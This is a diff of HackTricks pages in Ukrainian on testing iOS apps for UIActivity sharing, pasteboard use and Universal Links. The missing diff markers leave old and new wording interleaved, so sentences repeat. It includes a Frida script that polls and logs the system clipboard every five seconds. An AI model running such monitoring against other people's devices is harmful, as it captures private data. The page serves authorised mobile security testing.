* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# UIActivity Sharing Simplified
|
||||
|
||||
З iOS 6 і пізніше, сторонні додатки можуть **поділитися даними** такими як текст, URL-адреси або зображення за допомогою механізмів, таких як AirDrop, як описано в [керівництві з міждодаткового зв'язку](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) від Apple. Ця функція виявляється через системно широко використовуваний _аркуш активності для обміну_, який з'являється при взаємодії з кнопкою "Поділитися".
|
||||
З iOS 6 і далі, сторонні додатки отримали можливість **ділитися даними** такими як текст, URL-адреси або зображення, використовуючи механізми, такі як AirDrop, як зазначено в [Посібнику з міждодаткової комунікації](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) від Apple. Ця функція проявляється через системний _лист активності обміну_, який з'являється при взаємодії з кнопкою "Поділитися".
|
||||
|
||||
Повний перелік всіх вбудованих опцій обміну доступний за посиланням [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Розробники можуть виключити певні опції обміну, якщо вони вважають їх непридатними для свого додатку.
|
||||
Вичерпний перелік усіх вбудованих варіантів обміну доступний за посиланням [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Розробники можуть вирішити виключити певні варіанти обміну, якщо вважають їх непридатними для свого додатку.
|
||||
|
||||
## **Як поділитися даними**
|
||||
## **How to Share Data**
|
||||
|
||||
Увага повинна бути зосереджена на:
|
||||
|
||||
- Характері даних, які обмінюються.
|
||||
- Включенні власних активностей.
|
||||
- Природі даних, що обмінюються.
|
||||
- Включенні користувацьких активностей.
|
||||
- Виключенні певних типів активностей.
|
||||
|
||||
Обмін здійснюється за допомогою створення `UIActivityViewController`, до якого передаються елементи, призначені для обміну. Це досягається за допомогою виклику:
|
||||
Обмін здійснюється через створення `UIActivityViewController`, до якого передаються елементи, призначені для обміну. Це досягається шляхом виклику:
|
||||
```bash
|
||||
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
||||
```
|
||||
Розробники повинні ретельно перевірити `UIActivityViewController` для дій та власних дій, з якими він ініціалізується, а також будь-які вказані `excludedActivityTypes`.
|
||||
Розробники повинні уважно перевірити `UIActivityViewController` на наявність активностей та користувацьких активностей, з якими він ініціалізується, а також будь-яких вказаних `excludedActivityTypes`.
|
||||
|
||||
## **Як отримати дані**
|
||||
|
||||
Наступні аспекти є критичними при отриманні даних:
|
||||
Наступні аспекти є критично важливими при отриманні даних:
|
||||
|
||||
- Оголошення **власних типів документів**.
|
||||
- Вказівка **типів документів, які додаток може відкривати**.
|
||||
- Оголошення **користувацьких типів документів**.
|
||||
- Визначення **типів документів, які може відкривати додаток**.
|
||||
- Перевірка **цілісності отриманих даних**.
|
||||
|
||||
Без доступу до вихідного коду можна все ще перевірити `Info.plist` на ключі, такі як `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` та `CFBundleDocumentTypes`, щоб зрозуміти типи документів, які додаток може обробляти та оголошувати.
|
||||
Без доступу до вихідного коду, можна все ще перевірити `Info.plist` на наявність ключів, таких як `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` та `CFBundleDocumentTypes`, щоб зрозуміти, які типи документів може обробляти та оголошувати додаток.
|
||||
|
||||
Короткий посібник з цими ключами доступний на [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), підкреслюючи важливість визначення та імпортування UTIs для системного визнання та асоціювання типів документів з вашим додатком для інтеграції в діалог "Відкрити за допомогою".
|
||||
Стисла інструкція щодо цих ключів доступна на [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), підкреслюючи важливість визначення та імпортування UTI для системного визнання та асоціювання типів документів з вашим додатком для інтеграції в діалозі "Відкрити з...".
|
||||
|
||||
## Динамічний підхід до тестування
|
||||
|
||||
Для тестування **відправлення дій** можна:
|
||||
Щоб протестувати **відправку активностей**, можна:
|
||||
|
||||
- Підключитися до методу `init(activityItems:applicationActivities:)`, щоб захопити елементи та дії, які діляться.
|
||||
- Визначити виключені дії, перехоплюючи властивість `excludedActivityTypes`.
|
||||
- Підключитися до методу `init(activityItems:applicationActivities:)`, щоб захопити елементи та активності, які передаються.
|
||||
- Визначити виключені активності, перехопивши властивість `excludedActivityTypes`.
|
||||
|
||||
Для **отримання елементів** це включає:
|
||||
|
||||
- Поділитися файлом з додатком з іншого джерела (наприклад, AirDrop, електронна пошта), що викликає діалог "Відкрити за допомогою...".
|
||||
- Підключення `application:openURL:options:` серед інших методів, виявлених під час статичного аналізу, для спостереження реакції додатка.
|
||||
- Використання пошкоджених файлів або технік розгублення для оцінки стійкості додатка.
|
||||
- Поділитися файлом з додатком з іншого джерела (наприклад, AirDrop, електронна пошта), що викликає діалог "Відкрити з...".
|
||||
- Підключити `application:openURL:options:` серед інших методів, виявлених під час статичного аналізу, щоб спостерігати за реакцією додатка.
|
||||
- Використовувати неправильно сформовані файли або техніки фуззингу для оцінки надійності додатка.
|
||||
|
||||
## Посилання
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,51 +1,57 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Поділ даних всередині та між додатками на пристроях iOS спрощується механізмом [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), який поділяється на дві основні категорії:
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Загальний буфер обміну для всієї системи**: використовується для обміну даними з **будь-яким додатком** та призначений для збереження даних після перезавантаження пристрою та видалення додатків, функція, яка доступна з iOS 10.
|
||||
- **Спеціальні / іменовані буфери обміну**: призначені для обміну даними **в межах додатка або з іншим додатком**, який має той самий ідентифікатор команди, і не призначені для збереження поза життєвим циклом додатка, що їх створив, внаслідок змін, внесених у iOS 10.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**При використанні буферів обміну важливо враховувати аспекти безпеки**. Наприклад:
|
||||
- Немає механізму для користувачів для управління дозволами додатків на доступ до **буфера обміну**.
|
||||
- Для зменшення ризику несанкціонованого фонового моніторингу буфера обміну доступ обмежено лише тоді, коли додаток знаходиться на передньому плані (з iOS 9).
|
||||
- Використання постійних іменованих буферів обміну не рекомендується на користь спільних контейнерів через проблеми з конфіденційністю.
|
||||
- Функція **Універсального буфера обміну**, введена з iOS 10, яка дозволяє обмінювати контент між пристроями через загальний буфер обміну, може бути керована розробниками для встановлення терміну дії даних та вимкнення автоматичного передавання контенту.
|
||||
|
||||
Важливо забезпечити, що **чутлива інформація не зберігається випадково** на загальному буфері обміну. Крім того, додатки повинні бути розроблені таким чином, щоб запобігти недоцільному використанню даних зі загального буфера обміну для непередбачених дій, і розробникам рекомендується впроваджувати заходи для запобігання копіюванню чутливої інформації в буфер обміну.
|
||||
Обмін даними між додатками на пристроях iOS здійснюється за допомогою механізму [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), який поділяється на дві основні категорії:
|
||||
|
||||
- **Системна загальна буферна пам'ять**: Використовується для обміну даними з **будь-яким додатком** і призначена для збереження даних між перезавантаженнями пристрою та видаленнями додатків, функція, яка доступна з iOS 10.
|
||||
- **Користувацькі / Іменовані буферні пам'яті**: Призначені спеціально для обміну даними **в межах додатка або з іншим додатком**, який має той же ідентифікатор команди, і не призначені для збереження після завершення процесу додатка, відповідно до змін, введених в iOS 10.
|
||||
|
||||
**Безпекові міркування** відіграють значну роль при використанні буферних пам'ятей. Наприклад:
|
||||
- Немає механізму для користувачів для управління дозволами додатків на доступ до **буферної пам'яті**.
|
||||
- Щоб зменшити ризик несанкціонованого моніторингу буферної пам'яті у фоновому режимі, доступ обмежений до моменту, коли додаток знаходиться на передньому плані (з iOS 9).
|
||||
- Використання постійних іменованих буферних пам'ятей не рекомендується на користь спільних контейнерів через проблеми конфіденційності.
|
||||
- Функція **Універсального буфера** (Universal Clipboard), введена з iOS 10, що дозволяє обмінюватися вмістом між пристроями через загальну буферну пам'ять, може бути керована розробниками для встановлення терміну дії даних та відключення автоматичного перенесення вмісту.
|
||||
|
||||
Забезпечення того, щоб **чутлива інформація не зберігалася ненавмисно** в глобальній буферній пам'яті, є критично важливим. Крім того, додатки повинні бути спроектовані так, щоб запобігти зловживанню даними глобальної буферної пам'яті для ненавмисних дій, і розробників заохочують впроваджувати заходи для запобігання копіюванню чутливої інформації в буфер обміну.
|
||||
|
||||
### Статичний аналіз
|
||||
|
||||
Для статичного аналізу шукайте вихідний код або бінарний код:
|
||||
- `generalPasteboard` для ідентифікації використання **загального буфера обміну для всієї системи**.
|
||||
- `pasteboardWithName:create:` та `pasteboardWithUniqueName` для створення **спеціальних буферів обміну**. Перевірте, чи ввімкнено постійність, хоча це застаріло.
|
||||
Для статичного аналізу шукайте в вихідному коді або бінарному файлі:
|
||||
- `generalPasteboard`, щоб виявити використання **системної загальної буферної пам'яті**.
|
||||
- `pasteboardWithName:create:` та `pasteboardWithUniqueName` для створення **користувацьких буферних пам'ятей**. Перевірте, чи увімкнено збереження, хоча це застаріло.
|
||||
|
||||
### Динамічний аналіз
|
||||
|
||||
Динамічний аналіз включає перехоплення або відстеження конкретних методів:
|
||||
Динамічний аналіз передбачає підключення або трасування конкретних методів:
|
||||
- Моніторинг `generalPasteboard` для системного використання.
|
||||
- Відстеження `pasteboardWithName:create:` та `pasteboardWithUniqueName` для користувацьких реалізацій.
|
||||
- Спостереження за викликами застарілих методів `setPersistent:` для перевірки налаштувань постійності.
|
||||
- Трасування `pasteboardWithName:create:` та `pasteboardWithUniqueName` для користувацьких реалізацій.
|
||||
- Спостереження за застарілими викликами методу `setPersistent:`, щоб перевірити налаштування збереження.
|
||||
|
||||
Ключові деталі для моніторингу включають:
|
||||
- **Назви буфера обміну** та **вміст** (наприклад, перевірка рядків, URL-адрес, зображень).
|
||||
- **Кількість елементів** та **типи даних**, використовуючи перевірки стандартних та користувацьких типів даних.
|
||||
- **Термін дії та параметри тільки для локального використання** шляхом інспектування методу `setItems:options:`.
|
||||
- **Імена буферних пам'ятей** та **вміст** (наприклад, перевірка рядків, URL, зображень).
|
||||
- **Кількість елементів** та **типи даних**, використовуючи стандартні та користувацькі перевірки типів даних.
|
||||
- **Опції терміну дії та локального використання** шляхом перевірки методу `setItems:options:`.
|
||||
|
||||
Приклад використання інструменту моніторингу - **objection's pasteboard monitor**, який опитує загальний буфер обміну кожні 5 секунд для змін та виводить нові дані.
|
||||
Приклад використання інструменту моніторингу - **монітор буферної пам'яті objection**, який опитує generalPasteboard кожні 5 секунд на наявність змін і виводить нові дані.
|
||||
|
||||
Ось простий приклад скрипта на JavaScript, натхненний підходом objection, для читання та журналювання змін у буфері обміну кожні 5 секунд:
|
||||
Ось простий приклад скрипту JavaScript, натхненного підходом objection, для читання та запису змін з буферної пам'яті кожні 5 секунд:
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
|
@ -69,22 +75,28 @@ console.log(items);
|
|||
|
||||
}, 1000 * 5);
|
||||
```
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
||||
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# Універсальні посилання iOS
|
||||
# iOS Universal Links
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Вступ
|
||||
|
||||
Універсальні посилання пропонують **безшовний досвід перенаправлення** для користувачів, відкриваючи вміст безпосередньо в додатку, обходячи потребу у перенаправленні Safari. Ці посилання є **унікальними** та безпечними, оскільки їх не можуть використовувати інші додатки. Це забезпечується шляхом розміщення файлу JSON `apple-app-site-association` в кореневому каталозі веб-сайту, встановлюючи перевірене посилання між веб-сайтом та додатком. У випадках, коли додаток не встановлено, Safari бере на себе керування та направляє користувача на веб-сторінку, зберігаючи присутність додатка.
|
||||
Універсальні посилання пропонують **безшовний редирект** для користувачів, безпосередньо відкриваючи контент в додатку, обходячи необхідність редиректу через Safari. Ці посилання є **унікальними** та безпечними, оскільки їх не можуть вимагати інші додатки. Це забезпечується розміщенням файлу `apple-app-site-association` у кореневому каталозі вебсайту, встановлюючи перевіряємий зв'язок між вебсайтом та додатком. У випадках, коли додаток не встановлено, Safari візьме на себе управління і перенаправить користувача на вебсторінку, зберігаючи присутність додатку.
|
||||
|
||||
Для тестувальників на проникнення файл `apple-app-site-association` є особливо цікавим, оскільки він може розкрити **чутливі шляхи**, можливо, пов'язані з невипущеними функціями.
|
||||
Для тестувальників на проникнення файл `apple-app-site-association` є особливим інтересом, оскільки він може розкрити **чутливі шляхи**, потенційно включаючи ті, що стосуються не випущених функцій.
|
||||
|
||||
### **Аналіз Пов'язаних Доменів Уповноважень**
|
||||
### **Аналіз прав на асоційовані домени**
|
||||
|
||||
Розробники активують Універсальні Посилання, налаштовуючи **Пов'язані Домени** во вкладці Можливості Xcode або інспектуючи файл `.entitlements`. Кожен домен починається з `applinks:`. Наприклад, конфігурація Telegram може виглядати наступним чином:
|
||||
Розробники активують універсальні посилання, налаштовуючи **Асоційовані домени** у вкладці можливостей Xcode або перевіряючи файл `.entitlements`. Кожен домен має префікс `applinks:`. Наприклад, конфігурація Telegram може виглядати наступним чином:
|
||||
```xml
|
||||
<key>com.apple.developer.associated-domains</key>
|
||||
<array>
|
||||
|
@ -32,21 +33,21 @@
|
|||
<string>applinks:t.me</string>
|
||||
</array>
|
||||
```
|
||||
Для отримання більш детальної інформації, звертайтеся до [архівної документації розробника Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
Для більш детальної інформації зверніться до [архівної документації розробника Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
|
||||
Якщо ви працюєте з скомпільованим додатком, entitlements можна видобути, як описано в [цьому керівництві](extracting-entitlements-from-compiled-application.md).
|
||||
Якщо ви працюєте з скомпільованим додатком, права доступу можна витягти, як описано в [цьому посібнику](extracting-entitlements-from-compiled-application.md).
|
||||
|
||||
### **Отримання файлу Apple App Site Association**
|
||||
### **Отримання файлу асоціації сайту Apple App**
|
||||
|
||||
Файл `apple-app-site-association` слід отримати з сервера, використовуючи домени, вказані в entitlements. Переконайтеся, що файл доступний через HTTPS безпосередньо за адресою `https://<domain>/apple-app-site-association`. Інструменти, такі як [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/), можуть допомогти у цьому процесі.
|
||||
Файл `apple-app-site-association` слід отримати з сервера, використовуючи домени, зазначені в правах доступу. Переконайтеся, що файл доступний через HTTPS безпосередньо за адресою `https://<domain>/apple-app-site-association`. Інструменти, такі як [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/), можуть допомогти в цьому процесі.
|
||||
|
||||
### **Обробка універсальних посилань у додатку**
|
||||
|
||||
Додаток повинен реалізувати конкретні методи для правильної обробки універсальних посилань. Основний метод, на який варто звернути увагу, - [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Важливо, щоб схема URL, яку обробляється, була HTTP або HTTPS, оскільки інші не підтримуються.
|
||||
Додаток повинен реалізувати специфічні методи для правильної обробки універсальних посилань. Основний метод, на який слід звернути увагу, це [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Важливо, щоб схема URL, що обробляються, була HTTP або HTTPS, оскільки інші не підтримуються.
|
||||
|
||||
#### **Перевірка методу обробки даних**
|
||||
#### **Валідація методу обробника даних**
|
||||
|
||||
Коли універсальне посилання відкриває додаток, об'єкт `NSUserActivity` передається додатку разом з URL. Перед обробкою цього URL важливо перевірити та очистити його для запобігання ризикам безпеки. Ось приклад на Swift, який демонструє цей процес:
|
||||
Коли універсальне посилання відкриває додаток, об'єкт `NSUserActivity` передається додатку з URL. Перед обробкою цього URL важливо валідувати та очищати його, щоб запобігти ризикам безпеки. Ось приклад на Swift, який демонструє цей процес:
|
||||
```swift
|
||||
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||
|
@ -58,7 +59,7 @@ application.open(url, options: [:], completionHandler: nil)
|
|||
return true
|
||||
}
|
||||
```
|
||||
URL-адреси слід ретельно аналізувати та перевіряти, особливо якщо вони містять параметри, щоб захиститися від можливого підроблення або некоректних даних. API `NSURLComponents` корисний для цієї цілі, як показано нижче:
|
||||
URLs слід ретельно аналізувати та перевіряти, особливо якщо вони містять параметри, щоб захиститися від потенційного спуфінгу або неправильно сформованих даних. API `NSURLComponents` корисний для цієї мети, як показано нижче:
|
||||
```swift
|
||||
func application(_ application: UIApplication,
|
||||
continue userActivity: NSUserActivity,
|
||||
|
@ -84,19 +85,26 @@ return false
|
|||
}
|
||||
}
|
||||
```
|
||||
Через **ділову конфігурацію та перевірку**, розробники можуть забезпечити, що універсальні посилання покращують користувацький досвід, зберігаючи стандарти безпеки та конфіденційності.
|
||||
Через **дбайливу конфігурацію та валідацію** розробники можуть забезпечити, що універсальні посилання покращують користувацький досвід, зберігаючи при цьому стандарти безпеки та конфіденційності.
|
||||
|
||||
## Інструменти
|
||||
* [GetUniversal.link](https://getuniversal.link/): Допомагає спростити тестування та управління універсальними посиланнями вашого додатку та файлом AASA. Просто введіть свій домен, щоб перевірити цілісність файлу AASA, або використовуйте спеціальну панель для легкого тестування поведінки посилань. Цей інструмент також допомагає визначити, коли Apple наступного разу проіндексує ваш файл AASA.
|
||||
|
||||
## Посилання
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
||||
|
||||
<details>
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
{% hint style="success" %}
|
||||
